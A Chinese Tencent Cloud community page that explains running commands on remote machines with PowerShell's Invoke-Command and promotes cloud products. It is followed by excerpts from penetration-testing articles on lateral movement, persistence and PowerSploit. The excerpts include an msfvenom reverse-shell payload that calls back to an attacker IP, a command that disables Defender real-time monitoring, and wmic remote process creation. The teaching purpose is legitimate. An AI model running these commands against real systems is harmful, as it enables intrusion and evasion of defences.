首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Powershell:使用带自定义功能的invoke-command在远程计算机上执行,并在主机上显示输出

Powershell是一种用于管理和自动化Windows操作系统的脚本语言和命令行工具。它具有强大的功能,可以通过远程执行命令来管理远程计算机,并在主机上显示输出。

使用带自定义功能的invoke-command在远程计算机上执行命令,可以实现在远程计算机上执行自定义的脚本块或命令,并将结果返回到主机上显示。这对于批量管理远程计算机非常有用。

以下是使用Powershell的invoke-command命令在远程计算机上执行命令,并在主机上显示输出的示例:

  1. 首先,确保你的计算机上已经安装了Powershell。
  2. 打开Powershell控制台。
  3. 使用以下命令连接到远程计算机并执行命令:
代码语言:txt
复制
Invoke-Command -ComputerName 远程计算机名 -ScriptBlock { 远程计算机上要执行的命令 }

例如,如果要在远程计算机上执行ipconfig命令,并在主机上显示输出,可以使用以下命令:

代码语言:txt
复制
Invoke-Command -ComputerName 远程计算机名 -ScriptBlock { ipconfig }
  1. 执行命令后,Powershell将连接到远程计算机,并在主机上显示ipconfig命令的输出结果。

需要注意的是,远程计算机必须具有启用了远程管理功能的Powershell,并且你必须具有足够的权限来连接和执行命令。

推荐的腾讯云相关产品:腾讯云云服务器(CVM)和腾讯云弹性容器实例(Elastic Container Instance)。这些产品提供了强大的计算能力和灵活的部署方式,可以满足远程计算和管理的需求。

腾讯云云服务器(CVM)产品介绍链接地址:https://cloud.tencent.com/product/cvm

腾讯云弹性容器实例(Elastic Container Instance)产品介绍链接地址:https://cloud.tencent.com/product/eci

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Windows: 使用PowerShell管理Hyper-V虚拟机

Windows上,PowerShell是一个功能强大命令行工具,可以用来管理Hyper-V虚拟机。...虚拟机上运行命令。 你应该会看到作为 PowerShell 提示符前缀 VMName 显示如下: [VMName]: PS C:> 所有运行命令将会在虚拟机上进行。...使用 Invoke-Command 运行脚本或命令 配合使用 PowerShell Direct 和 Invoke-Command 非常适合需要在虚拟机上运行一个命令或一个脚本但在这一点之外无需继续与虚拟机进行交互情况...该命令将在虚拟机上执行,如果存在到控制台输出,会把此输出打印到控制台。命令一运行将会自动关闭连接。...使用 New-PSSession 和 Copy-Item 复制文件 注意: PowerShell Direct 仅支持 Windows 版本 14280 及更高版本中持久性会话 在编写用于跨一个或多个远程计算机协调操作脚本时

33410

如何使用Ketshash检测可疑特权NTLM连接

该工具可以基于下列信息来实现其功能: 1、受监控计算机上安全事件日志(登录事件); 2、活动目录中身份验证事件;  工具要求  该工具使用要求用户账号拥有下列权限: 1、访问远程计算安全事件日志...; 2、活动目录读取权限(标准域账户); 3、计算同一时间同步,否则会影响结果; 4、至少安装并配置好PowerShell 2.0;  工具下载  该工具是一个PowerShell脚本,因此我们只能在支持...PowerShell 2.0+设备上使用该工具。...,因此不太可能对功能脚本块进行调试。...但是我们可以Detect-PTHMultithreaded之前使用Invoke-Command调试: Invoke-Command -ScriptBlock $detectPTHScriptBlock

84750
  • 内网渗透|利用 WinRM 进行横向渗透

    -20210804172824608 如上图所示,成功远程机上执行命令。...使用 winrm 命令 我们也可以直接通过 winrm 命令执行远程机上程序,通常是木马程序,这里我们尝试执行启动一个计算器: winrm invoke create wmicimv2/win32_...calc 进程: image-20210804214037070 使用 Invoke-Command 命令 Invoke-CommandPowerShell一个命令,用来本地或远程计算机上执行命令...•-Credential:指定有权连接到远程计算用户帐户。•-Command:指定需要执行命令。 image-20210804215420172 如上图所示,成功远程机上执行命令。...会话期间,您键入命令远程计算机上运行,就像您直接在远程计算机上键入一样。

    5.1K40

    ATT&CK视角下红蓝对抗:十八.横向移动之利用WinRM进行横向渗透

    切换到跳板机,没有加入域控情况下,使用WinRS命令需先将靶标机器IP加入客户端信任列表,cmd和powershell下都可以使用命令将靶标机器IP加入客户端信任列表中,如图1-2所示。...2.Invoke-Command Invoke-Command是一个 PowerShell命令,该命令可用于远程机器上运行脚本或其他命令,并且可以同时多台机器上运行命令。...Invoke-Command使用WinRM服务远程计算机上执行命令。要使用 Invoke-Command则必须在远程机器上具有适当权限,并且WinRM服务必须在远程计算机上运行。...首先,攻击机上执行命令msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.2 lport=1342 -f exe > invoke.exe...接下来跳板机中使用Powershell运行Invoke-Command命令,输入Invoke-Command -ComputerName 192.168.1.3 -Credential administrator

    47060

    Powershell进阶学习(3) Po

    那么今天说起是Windows一种最新远程管理方式winrm(windows远程管理),当然windowsServer2003R2时候就已经有这个功能了。...但是2008版本开始已经发展相当好了---因为有了powershell。        windows 远程操作主要依赖WinRM或叫做WS管理协议,使用443端口。...(1)一对一管理远程计算机,登陆一台域控制器服务器,需要使用Enter-PSSession: ? 可以看到我已经成功登陆到了bjdc01这台服务器上并用ls命令查看了一下它D盘内容。...(2)但是我不想登陆到计算机上再去执行命令,能不能直接通过命令查看当然是可以。这个需要invoke-command命令。 ? 通过这个命令我们可以看到服务器上最新关于system三个日志 ?...但在开始介绍session之前我想先在下一期聊聊powershell管道功能!敬请关注!

    52320

    如何在网络中追踪入侵者(三):主机追踪

    这些技术首先会帮你发现主机上恶意行为一些线索——不管你有没有签名或者IOC。你可以自由使用这些,同时感受追踪强大功能。 搜索指标 一个通用起始点是在你机上搜索IOC。...这个特殊签名其实是 Mimikatz工具作者编写。 ? 你可以本地运行Yara,但是如果在远程或者多台机器上运行功能会更强大。Powershell能够让操作更方便。...利用Powershell运行Yara可以通过下面这几个简单步骤,假设你已经有登录凭证并且 Powershell已经远程开放了。...我们推荐结合Powershell 和autoruns命令行来使用,这样可以远程从你系统抓取数据。...下一个例子展示了一个程序启动时候从回收站执行,只有单字符文件名,很清楚显示一些奇怪东西执行。 ? 这里你不仅仅可以从自动运行数据获取可疑信息。还有很多方法。

    1.2K90

    如何在远程系统执行程序

    序言 我们获得用户名口令后,尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试....条件: 启动Task Scheduler服务 2、psexec PsTools工具之一,指定一台或多台计算机上运行应用程序 条件: 需要开放ADMIN$共享 3、WMIC 功能强大,可做系统管理、远程主机信息获取...条件: 启动WMI服务,开放135端口 本地安全策略“网络访问: 本地账户共享和安全模式”应设为“经典-本地用户以自己身份验证” 4、wmiexec 使用VBS脚本调用WMI来模拟psexec功能...条件: 启动WMI服务,开放135端口 本地安全策略“网络访问: 本地账户共享和安全模式”应设为“经典-本地用户以自己身份验证” 5、powershell remoting 实现在目标主机远程执行程序后...终于GitHub上面找到了一个smbexecc++参考资料,作为工具改进模版 模版下载地址: https://github.com/sunorr/smbexec 总结 这篇文章共列举了六种远程执行程序方法

    1.6K20

    横向移动之WinRM横向移动

    -a[llow]d[elegate] - 指定可以将用户凭据用于访问远程共享,例如,不是目标终结点所在计算机上创建远程共享。...远程计算机上旧安装可能不支持压缩,因此默认情况下处于禁用状态。 -[use]ssl - 使用远程终结点时使用 SSL 连接。...下面是powershell上面执行查看WINRM一些命令 # Enable PowerShell Remoting on the target (box needs to be compromised...作者这里提供了5中不同执行方式。 ? 当然可以cobaltstrike加载powershell来进行WSManWinRM横向移动,WSManWinRM.ps1用法如下。...翻了翻cobaltstrike源码,找到了winrm执行方式,他这里是通过powershell执行命令,通过 Invoke-Command 指定-ScriptBlock来执行命令。 ?

    4.4K10

    CS学习笔记 | 16、用户枚举三个关键步骤

    列出域管理员 对于发现域管理员账号,可以共享里使用本地Windows命令。运行以下两条命令可以用来找出这些“域群组”成员。...Administrator TEAMSSIX\Daniel TEAMSSIX\Enterprise Admins TEAMSSIX\Domain Admins PowerView 模块 PowerView 使用下面的命令能够一个主机上找到本地管理员...WinRM 运行命令 WinRM 运行在 5985 端口上,WinRM 是 Windows 远程管服务,使用 WinRM 可以使远程管理更容易一些。...命令运行后结果,WinRM 也将通过命令行进行显示,因此可以使用 Powershell Invoke 命令来作为远程工具,而不使用其他恶意软件来控制系统。...文件大小 2 MB 多,因此直接运行powershell-import导入该文件会报错,这里可以选择使用 beacon 中 upload 命令或者在当前会话 File Browser 图形界面中上传该文件

    67540

    Ansible 客户端需求–设置Windows主机

    没有安装此修补程序,Ansible将无法Windows主机上执行某些命令。这些修补程序应作为系统引导或映像过程一部分进行安装。...默认情况下为空;WinRM服务启动时会生成一个自签名证书,并在TLS进程中使用该证书。 Winrs\MaxShellRunTime:这是允许远程命令执行最长时间(以毫秒为单位)。...一些要检查东西: 确保WinRM服务已启动并在机上运行。使用 来获取服务状态。(Get-Service -Name winrm).Status 检查主机防火墙是否允许通过WinRM端口通信。...警告 使用功能需要您自担风险!Windows上使用SSH是试验性,该实现可能会在功能版本中进行向后不兼容更改。服务器端组件可能不可靠,具体取决于所安装版本。...当将SSH密钥身份验证与Ansible结合使用时,远程会话将无权访问用户凭据,并且尝试访问网络资源时将失败。这也称为双跳或凭据委派问题。

    10.1K41

    黑客(红队)攻防中内网环境下WMI利用

    通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以自己电脑上查看和管理其他电脑信息。...wmic nicconfig get macaddress, ipaddress //获取网络适配器MAC地址和IP地址WMIC远程获取shell 而前面也说了WMIC还有远程管理文件和操作计算功能...call create "cmd.exe"是要连接远程计算名称或IP地址,是要使用用户名,是对应密码.这段命令作用就是远程连接到...,理解WMIC命令后也是很简单,例如:wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径 //获取远程计算系统信息...wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径 //获取远程计算进程信息

    20700

    如何使用ADLab搭建活动目录实验环境来练习渗透测试技术

    关于ADLab PowerShell模块 ADLab是一个功能强大PowerShell模块,该工具可以自动化实现一个活动目录实验环境,以帮助广大研究人员更好地学习和研究内部网络环境内渗透测试技术。...\ADLab.psm1 初始化实验环境 Invoke-DCPrep 这个功能函数用于准备当前虚拟机或计算机设备,并将其当作一个域控制器来使用。...使用默认配置运行当前虚拟机,并显示Verbose输出: Invoke-DCPrep -Verbose 设置自定义主机名并使用Google DNS作为外网访问: Invoke-DCPrep -Hostname..."DC" -NewIPv4DNSServer "8.8.8.8" 使用自定义IP和默认网关,并显示Verbose输出: Invoke-DCPrep -Verbose -NewIPv4Address "...-Verbose Invoke-DNSDeploy 该功能从安装DNS功能开始,然后添加区域并配置服务器转发器。

    1K20

    windows: 通过普通域用户凭据远程修改其他用户密码

    本文将介绍一个独特PowerShell脚本解决方案,该方案通过普通用户凭据远程登录服务器,并成功修改了其他用户密码。 1....为实现此目的,我们设计了一个PowerShell脚本,该脚本能够通过普通用户凭据远程登录服务器,并修改其他用户密码。 2....通过Invoke-Command cmdlet,脚本远程连接到指定服务器,并在ScriptBlock中执行密码修改操作。...NewPassword -OldPassword $OldPassword -Credential $credentials -WhatIf -Confirm } 2.3 密码验证 密码修改后,脚本尝试使用新密码远程连接到服务器并执行一个简单...结论 这个独特PowerShell脚本方案展示了如何通过普通用户凭据远程修改其他用户密码。虽然这不是常见做法,但在特定场景下可能非常有用。

    68340

    红队技巧-持久性技巧

    但是最后还是会有个cmd框,难受,但是没显示执行命令,还是有点优化效果! 2....它是一个PowerShell启动时运行脚本,你可以使用配置文件作为登录脚本来自定义环境,你可以添加命令,功能,别名,模块等。...PowerShell配置文件脚本存储文件夹“ WindowsPowerShel”中,默认情况下对用户隐藏。如果有效负载已放入磁盘,则可以使用。...执行过程不会像上面的示例那样系统上创建新进程,而是使用现有的PowerShell进程,更为隐蔽。...cmdlet“ Invoke-Command用法中允许执行命令,所以regsvr32方法可以用作隐藏选项,因为它可以规避未正确配置应用程序白名单解决方案,并且可以从远程执行scriptlet。

    1.2K30

    从Linux到WindowsPowerShell远程处理

    背景资料 偶然发现在我测试中使用PowerShell远程处理作为维护系统远程代码执行主要方法很有用。它是一个内置Windows功能。...PowerShell远程处理需要对Kerberos身份验证,这意味着客户端计算机和目标计算机必须都连接到同一域。如果我们没有可以连接机器来执行远程处理,那么这对测试人员来说可能会造成问题。...这是Enter-PSSession设置阶段使用NTLM身份验证所必需,这是唯一可用于通过PowerShell远程连接从Linux连接到Windows身份验证机制。.../powershell-ntlm 6.现在我们一直等待:使用以下命令进入远程PowerShell会话 - 请注意,您必须指定-Authentication类型: # Grab the creds we...Invoke-Command功能 Invoke-Command -ComputerName 10.20.30.190 -Authentication Negotiate -Credential $creds

    2.1K20

    红队技巧-常规横向手法

    而wmiexec是模拟psexec功能vbs脚本 执行原理: 1.WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机。...,通过它可以访问、配置、管理和监视几乎所有的Windows资源,比如用户可以远程计算机器上启动一个进程;设定一个特WMI允许脚本语言(例如VBScript或Windows PowerShell本地和远程管理...)(组件对象模型)扩展,它允许应用程序实例化和访问远程计算机上COM对象属性和方法,就像使用基于DCERPCDCOM协议本地计算机上对象一样,有关每个COM(和DCOM)对象标识,实现和配置信息存储注册表中...powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象实例表现如下: 客户端计算机从远程计算机请求实例化由CLSID表示对象。...6.Outlook Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上COM对象进行交互,这些对象通常不会由DCOM公开。

    2.1K20

    PS命令之操作系统远程管理及进程服务操作示例

    -Force # 计算机位于公用网络上时Windows客户端版本上启用PowerShell远程处理 # 在此计算机上设置了 WinRM 以接收请求。...该cmdlet阻止对本地计算机上所有PowerShell版本和更高会话会话配置远程访问,同样需要使用“以管理员身份运行” 选项启动。...# 新输出显示AccessDenied安全描述符已从所有会话配置中删除,此时便可以正常创建远程连接会话了。...For 参数 : 指定PowerShell可以远程计算机上运行命令。 Timeout 参数 : 指定五分钟等待时间。 Delay 参数 : 每两秒钟查询一次远程计算机,以确定它是否重新启动。...Start-Process 命令 - 启动本地计算机或远程计算机未运行进程 Stop-Process 命令 - 停止本地计算机或远程计算机上运行进程 Wait-Process 命令 - 使本地计算机或远程计算机上运行进程等待

    7.3K40

    四十二.Powershell恶意代码检测系列 (3)PowerSploit脚本渗透详解

    一旦攻击者可以一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它就可以直接在内存中运行。...各Windows操作系统PowerShell版本如下: 一旦攻击者一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写道磁盘中执行,就可以直接在内存中运行...第一个命令如下: Get-Host 输出结果如下图所示: 另一个命令是: $psversiontable 同时,Powershell可以获取计算服务详细信息、状态等。...powershell Set-MpPreference -disablerealtimeMonitoring $true CMD窗口下执行,将远程机上test.exe下载到本地。...PowerSploit各个模块功能包括: AntivirusBypass:发现杀毒软件查杀特征 CodeExecution:目标主机上执行代码 Exfiltration:目标主机上信息搜集工具

    3.2K30
    领券